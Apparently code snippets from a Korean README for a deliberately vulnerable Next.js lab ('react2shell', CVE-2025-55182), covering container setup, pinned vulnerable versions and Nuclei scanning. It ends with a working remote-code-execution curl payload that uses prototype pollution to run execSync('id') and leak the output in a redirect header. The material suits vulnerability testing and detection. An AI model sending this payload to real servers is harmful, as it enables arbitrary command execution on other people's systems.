# 취약 환경 빌드 및 시작
podman compose up --build -d

# 실행 확인
curl http://localhost:3000/api/status

# 로그 확인
podman logs -f react2shell-vuln

# 중지
podman compose down

# 취약 환경 빌드 및 시작
docker-compose up --build -d

# http://localhost:3000에서 애플리케이션 접근

.
├── README.md               # 이 파일
├── Dockerfile              # 컨테이너 빌드 지침
├── Dockerfile.dev          # 핫 리로드 기능이 있는 개발 컨테이너
├── docker-compose.yml      # Docker/Podman Compose 설정
├── CVE-2025-55182.yaml     # Nuclei 스캐너 템플릿
├── scan.sh                 # 범용 Nuclei 스캐너 스크립트
├── scan-results/           # 스캔 출력 디렉터리
└── vulnerable-app/         # 취약한 Next.js 애플리케이션
    ├── package.json        # 종속성 (취약한 버전)
    ├── next.config.js      # Next.js 설정
    ├── tsconfig.json       # TypeScript 설정
    └── app/                # App Router 페이지 및 컴포넌트
        ├── layout.tsx      # 루트 레이아웃
        ├── page.tsx        # Server Components가 포함된 메인 페이지
        ├── globals.css     # 스타일
        ├── actions.ts      # 서버 액션
        ├── api/status/     # 상태 API 엔드포인트
        └── components/     # React 컴포넌트

curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml

# 로컬 취약 앱 스캔
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v

# 임의 대상 스캔
./scan.sh -u https://example.com -t CVE-2025-55182.yaml

# 모든 Nuclei 템플릿으로 스캔
./scan.sh -u https://example.com

# 파일에서 여러 대상 스캔
./scan.sh -l targets.txt -t CVE-2025-55182.yaml

# 심각도별 필터링
./scan.sh -u https://example.com -s critical,high

# JSON 출력
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j

podman run --rm \
    -v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
    docker.io/projectdiscovery/nuclei:latest \
    -t /templates/CVE-2025-55182.yaml \
    -u "http://host.docker.internal:3000" \
    -v

{
  "dependencies": {
    "next": "15.5.7",
    "react": "^19.1.2",
    "react-dom": "^19.1.2"
  }
}

# Podman
podman compose down
podman compose up --build -d

# Docker
docker-compose down
docker-compose up --build

curl -X POST http://localhost:3000 \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -H "X-Nextjs-Request-Id: test123" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
    "_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
  -i 2>&1 | grep -i "x-action-redirect"